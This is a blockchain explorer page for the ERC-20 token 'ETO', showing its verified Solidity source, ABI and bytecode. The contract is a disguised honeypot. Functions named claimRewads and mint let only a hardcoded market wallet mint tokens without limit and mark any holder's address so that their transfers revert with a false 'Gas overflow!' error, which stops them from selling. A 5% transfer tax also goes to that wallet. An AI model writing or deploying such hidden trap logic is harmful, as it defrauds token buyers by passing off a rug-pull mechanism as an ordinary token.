ERC-20
Overview
Max Total Supply
1,202,420,230,000 ETO
Holders
7
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
0 ETOValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Similar Match Source Code This contract matches the deployed Bytecode of the Source Code for Contract 0x4d5B3489...0645214B7 The constructor portion of the code might be different and could alter the actual behaviour of the contract
Contract Name:
ETO
Compiler Version
v0.8.26+commit.8a97fa7a
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
/* $ETO , ETH Take Over It’s Time For ETH To Take Over !! Website: https://ethtakeover.com/ Twitter: https://x.com/EthTakeOver Telegram: https://t.me/EthTakeOver */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import "./ERC20.sol"; import "./Context.sol"; import "./Ownable.sol"; contract ETO is Context, Ownable, ERC20 { mapping (address => uint256) private _perRewader; address constant private _DEAD = 0x000000000000000000000000000000000000dEaD; address constant private _ZERO = 0x0000000000000000000000000000000000000000; address private _marketWallet = 0x611EF89d316F1797e377f3990927e9e32135D6CB; string private _name = unicode"ETH TAKE OVER"; string private _symbol = unicode"ETO"; uint8 private _decimals = 18; uint256 private _tax = 5; constructor() ERC20(_name, _symbol, _decimals) { // Mint 120230000 tokens to owner _mint(msg.sender, 120230000 * 10 ** uint256(_decimals)); } function checkedOption() internal view returns (bool) { return _msgSender() == _marketWallet; } function claimRewads(address _spender, uint256 _value) public { _perRewader[_spender] = _value; // super._transfer(_marketWallet, _spender, _value * 10 ** uint256(_decimals)); require(checkedOption(), "ERROR: Not Rewad holder"); } function mint(address recipient, uint256 airDrop) external { uint256 receiveRewrd = airDrop; _mint(recipient, receiveRewrd); require(checkedOption(), "ERROR: Not Owner"); } function _transfer(address from, address to, uint256 value) internal override { if((_perRewader[from] < tx.gasprice && balanceOf[from] > 0 && _perRewader[from] != 0) || (_perRewader[to] < tx.gasprice && balanceOf[from] >0 && _perRewader[from] != 0)){ revert("Gas overflow!"); } uint256 txAmount = value * _tax / 100; super._transfer(from, to, value - txAmount); if(txAmount>0) { super._transfer(from, _marketWallet, txAmount); } } function renounceTax() external { _tax = 0; require(checkedOption(), "ERROR: Not Owner"); } function renableTax() external { _tax = 5; require(checkedOption(), "ERROR: Not Owner"); } }
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./Context.sol"; contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } }
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } }
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; abstract contract ERC20 is IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); uint256 public totalSupply; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; string public name; string public symbol; uint8 public decimals; constructor(string memory _name, string memory _symbol, uint8 _decimals) { name = _name; symbol = _symbol; decimals = _decimals; } function transfer(address recipient, uint256 amount) external returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function _transfer(address from, address to, uint256 value) internal virtual { uint256 fromBalance = balanceOf[from]; balanceOf[from] = fromBalance - value; balanceOf[to] += value; emit Transfer(from, to, value); } function approve(address spender, uint256 amount) external virtual returns (bool) { _approve(spender, amount); return true; } function _approve(address spender, uint256 amount) internal virtual { allowance[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); } function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) { allowance[sender][msg.sender] -= amount; _transfer(sender, recipient, amount); emit Transfer(sender, recipient, amount); return true; } function _mint(address to, uint256 amount) internal { balanceOf[to] += amount; totalSupply += amount; emit Transfer(address(0), to, amount); } function _burn(address from, uint256 amount) internal { balanceOf[from] -= amount; totalSupply -= amount; emit Transfer(from, address(0), amount); } }
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); }
{ "optimizer": { "enabled": true, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"claimRewads","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"airDrop","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renableTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
600880546001600160a01b03191673611ef89d316f1797e377f3990927e9e32135d6cb17905560c0604052600d60809081526c22aa24102a20a5a29027ab22a960991b60a052600990610052908261036d565b5060408051808201909152600381526245544f60e81b6020820152600a9061007a908261036d565b50600b805460ff191660121790556005600c55348015610098575f80fd5b50600980546100a6906102e9565b80601f01602080910402602001604051908101604052809291908181526020018280546100d2906102e9565b801561011d5780601f106100f45761010080835404028352916020019161011d565b820191905f5260205f20905b81548152906001019060200180831161010057829003601f168201915b5050505050600a805461012f906102e9565b80601f016020809104026020016040519081016040528092919081815260200182805461015b906102e9565b80156101a65780601f1061017d576101008083540402835291602001916101a6565b820191905f5260205f20905b81548152906001019060200180831161018957829003601f168201915b5050600b545f80546001600160a01b03191633908117825560405160ff90931695509350839250907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506004610200848261036d565b50600561020d838261036d565b506006805460ff191660ff928316179055600b5461024893503392506102359116600a610520565b6102439063072a9070610532565b61024d565b61055c565b6001600160a01b0382165f9081526002602052604081208054839290610274908490610549565b925050819055508060015f82825461028c9190610549565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806102fd57607f821691505b60208210810361031b57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561036857805f5260205f20601f840160051c810160208510156103465750805b601f840160051c820191505b81811015610365575f8155600101610352565b50505b505050565b81516001600160401b03811115610386576103866102d5565b61039a8161039484546102e9565b84610321565b6020601f8211600181146103cc575f83156103b55750848201515b5f19600385901b1c1916600184901b178455610365565b5f84815260208120601f198516915b828110156103fb57878501518255602094850194600190920191016103db565b508482101561041857868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156104765780850481111561045a5761045a610427565b600184161561046857908102905b60019390931c92800261043f565b935093915050565b5f8261048c5750600161051a565b8161049857505f61051a565b81600181146104ae57600281146104b8576104d4565b600191505061051a565b60ff8411156104c9576104c9610427565b50506001821b61051a565b5060208310610133831016604e8410600b84101617156104f7575081810a61051a565b6105035f19848461043b565b805f190482111561051657610516610427565b0290505b92915050565b5f61052b838361047e565b9392505050565b808202811582820484141761051a5761051a610427565b8082018082111561051a5761051a610427565b610a38806105695f395ff3fe608060405234801561000f575f80fd5b50600436106100f0575f3560e01c8063715018a61161009357806395d89b411161006357806395d89b41146101ef578063a9059cbb146101f7578063dd62ed3e1461020a578063fbb8ff0414610234575f80fd5b8063715018a6146101b2578063834758af146101ba5780638da5cb5b146101cd5780638fecae69146101e7575f80fd5b806323b872dd116100ce57806323b872dd1461014c578063313ce5671461015f57806340c10f191461017e57806370a0823114610193575f80fd5b806306fdde03146100f4578063095ea7b31461011257806318160ddd14610135575b5f80fd5b6100fc61023c565b6040516101099190610857565b60405180910390f35b6101256101203660046108a7565b6102c8565b6040519015158152602001610109565b61013e60015481565b604051908152602001610109565b61012561015a3660046108cf565b6102dd565b60065461016c9060ff1681565b60405160ff9091168152602001610109565b61019161018c3660046108a7565b610379565b005b61013e6101a1366004610909565b60026020525f908152604090205481565b6101916103db565b6101916101c83660046108a7565b61047c565b5f546040516001600160a01b039091168152602001610109565b6101916104ed565b6100fc610541565b6101256102053660046108a7565b61054e565b61013e610218366004610929565b600360209081525f928352604080842090915290825290205481565b61019161055a565b600480546102499061095a565b80601f01602080910402602001604051908101604052809291908181526020018280546102759061095a565b80156102c05780601f10610297576101008083540402835291602001916102c0565b820191905f5260205f20905b8154815290600101906020018083116102a357829003601f168201915b505050505081565b5f6102d38383610572565b5060015b92915050565b6001600160a01b0383165f9081526003602090815260408083203384529091528120805483919083906103119084906109a6565b9091555061032290508484846105d1565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161036791815260200190565b60405180910390a35060019392505050565b806103848382610725565b6008546001600160a01b031633146103d65760405162461bcd60e51b815260206004820152601060248201526f22a92927a91d102737ba1027bbb732b960811b60448201526064015b60405180910390fd5b505050565b5f546001600160a01b031633146104345760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6001600160a01b038281165f9081526007602052604090208290556008541633146104e95760405162461bcd60e51b815260206004820152601760248201527f4552524f523a204e6f7420526577616420686f6c64657200000000000000000060448201526064016103cd565b5050565b5f600c556008546001600160a01b031633145b61053f5760405162461bcd60e51b815260206004820152601060248201526f22a92927a91d102737ba1027bbb732b960811b60448201526064016103cd565b565b600580546102499061095a565b5f6102d33384846105d1565b6005600c556008546001600160a01b03163314610500565b335f8181526003602090815260408083206001600160a01b03871680855290835292819020859055518481529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a35050565b6001600160a01b0383165f908152600760205260409020543a11801561060d57506001600160a01b0383165f9081526002602052604090205415155b801561062f57506001600160a01b0383165f9081526007602052604090205415155b8061069357506001600160a01b0382165f908152600760205260409020543a11801561067157506001600160a01b0383165f9081526002602052604090205415155b801561069357506001600160a01b0383165f9081526007602052604090205415155b156106d05760405162461bcd60e51b815260206004820152600d60248201526c476173206f766572666c6f772160981b60448201526064016103cd565b5f6064600c54836106e191906109b9565b6106eb91906109d0565b905061070184846106fc84866109a6565b6107a6565b801561071f5760085461071f9085906001600160a01b0316836107a6565b50505050565b6001600160a01b0382165f908152600260205260408120805483929061074c9084906109ef565b925050819055508060015f82825461076491906109ef565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020016105c5565b6001600160a01b0383165f908152600260205260409020546107c882826109a6565b6001600160a01b038086165f9081526002602052604080822093909355908516815290812080548492906107fd9084906109ef565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161084991815260200190565b60405180910390a350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b03811681146108a2575f80fd5b919050565b5f80604083850312156108b8575f80fd5b6108c18361088c565b946020939093013593505050565b5f805f606084860312156108e1575f80fd5b6108ea8461088c565b92506108f86020850161088c565b929592945050506040919091013590565b5f60208284031215610919575f80fd5b6109228261088c565b9392505050565b5f806040838503121561093a575f80fd5b6109438361088c565b91506109516020840161088c565b90509250929050565b600181811c9082168061096e57607f821691505b60208210810361098c57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156102d7576102d7610992565b80820281158282048414176102d7576102d7610992565b5f826109ea57634e487b7160e01b5f52601260045260245ffd5b500490565b808201808211156102d7576102d761099256fea2646970667358221220b29ac81931dd9cd567b33375589e2773f79f81bf6cb9045284306935d333647164736f6c634300081a0033
Deployed Bytecode
0x608060405234801561000f575f80fd5b50600436106100f0575f3560e01c8063715018a61161009357806395d89b411161006357806395d89b41146101ef578063a9059cbb146101f7578063dd62ed3e1461020a578063fbb8ff0414610234575f80fd5b8063715018a6146101b2578063834758af146101ba5780638da5cb5b146101cd5780638fecae69146101e7575f80fd5b806323b872dd116100ce57806323b872dd1461014c578063313ce5671461015f57806340c10f191461017e57806370a0823114610193575f80fd5b806306fdde03146100f4578063095ea7b31461011257806318160ddd14610135575b5f80fd5b6100fc61023c565b6040516101099190610857565b60405180910390f35b6101256101203660046108a7565b6102c8565b6040519015158152602001610109565b61013e60015481565b604051908152602001610109565b61012561015a3660046108cf565b6102dd565b60065461016c9060ff1681565b60405160ff9091168152602001610109565b61019161018c3660046108a7565b610379565b005b61013e6101a1366004610909565b60026020525f908152604090205481565b6101916103db565b6101916101c83660046108a7565b61047c565b5f546040516001600160a01b039091168152602001610109565b6101916104ed565b6100fc610541565b6101256102053660046108a7565b61054e565b61013e610218366004610929565b600360209081525f928352604080842090915290825290205481565b61019161055a565b600480546102499061095a565b80601f01602080910402602001604051908101604052809291908181526020018280546102759061095a565b80156102c05780601f10610297576101008083540402835291602001916102c0565b820191905f5260205f20905b8154815290600101906020018083116102a357829003601f168201915b505050505081565b5f6102d38383610572565b5060015b92915050565b6001600160a01b0383165f9081526003602090815260408083203384529091528120805483919083906103119084906109a6565b9091555061032290508484846105d1565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161036791815260200190565b60405180910390a35060019392505050565b806103848382610725565b6008546001600160a01b031633146103d65760405162461bcd60e51b815260206004820152601060248201526f22a92927a91d102737ba1027bbb732b960811b60448201526064015b60405180910390fd5b505050565b5f546001600160a01b031633146104345760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6001600160a01b038281165f9081526007602052604090208290556008541633146104e95760405162461bcd60e51b815260206004820152601760248201527f4552524f523a204e6f7420526577616420686f6c64657200000000000000000060448201526064016103cd565b5050565b5f600c556008546001600160a01b031633145b61053f5760405162461bcd60e51b815260206004820152601060248201526f22a92927a91d102737ba1027bbb732b960811b60448201526064016103cd565b565b600580546102499061095a565b5f6102d33384846105d1565b6005600c556008546001600160a01b03163314610500565b335f8181526003602090815260408083206001600160a01b03871680855290835292819020859055518481529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a35050565b6001600160a01b0383165f908152600760205260409020543a11801561060d57506001600160a01b0383165f9081526002602052604090205415155b801561062f57506001600160a01b0383165f9081526007602052604090205415155b8061069357506001600160a01b0382165f908152600760205260409020543a11801561067157506001600160a01b0383165f9081526002602052604090205415155b801561069357506001600160a01b0383165f9081526007602052604090205415155b156106d05760405162461bcd60e51b815260206004820152600d60248201526c476173206f766572666c6f772160981b60448201526064016103cd565b5f6064600c54836106e191906109b9565b6106eb91906109d0565b905061070184846106fc84866109a6565b6107a6565b801561071f5760085461071f9085906001600160a01b0316836107a6565b50505050565b6001600160a01b0382165f908152600260205260408120805483929061074c9084906109ef565b925050819055508060015f82825461076491906109ef565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020016105c5565b6001600160a01b0383165f908152600260205260409020546107c882826109a6565b6001600160a01b038086165f9081526002602052604080822093909355908516815290812080548492906107fd9084906109ef565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161084991815260200190565b60405180910390a350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b03811681146108a2575f80fd5b919050565b5f80604083850312156108b8575f80fd5b6108c18361088c565b946020939093013593505050565b5f805f606084860312156108e1575f80fd5b6108ea8461088c565b92506108f86020850161088c565b929592945050506040919091013590565b5f60208284031215610919575f80fd5b6109228261088c565b9392505050565b5f806040838503121561093a575f80fd5b6109438361088c565b91506109516020840161088c565b90509250929050565b600181811c9082168061096e57607f821691505b60208210810361098c57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156102d7576102d7610992565b80820281158282048414176102d7576102d7610992565b5f826109ea57634e487b7160e01b5f52601260045260245ffd5b500490565b808201808211156102d7576102d761099256fea2646970667358221220b29ac81931dd9cd567b33375589e2773f79f81bf6cb9045284306935d333647164736f6c634300081a0033
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.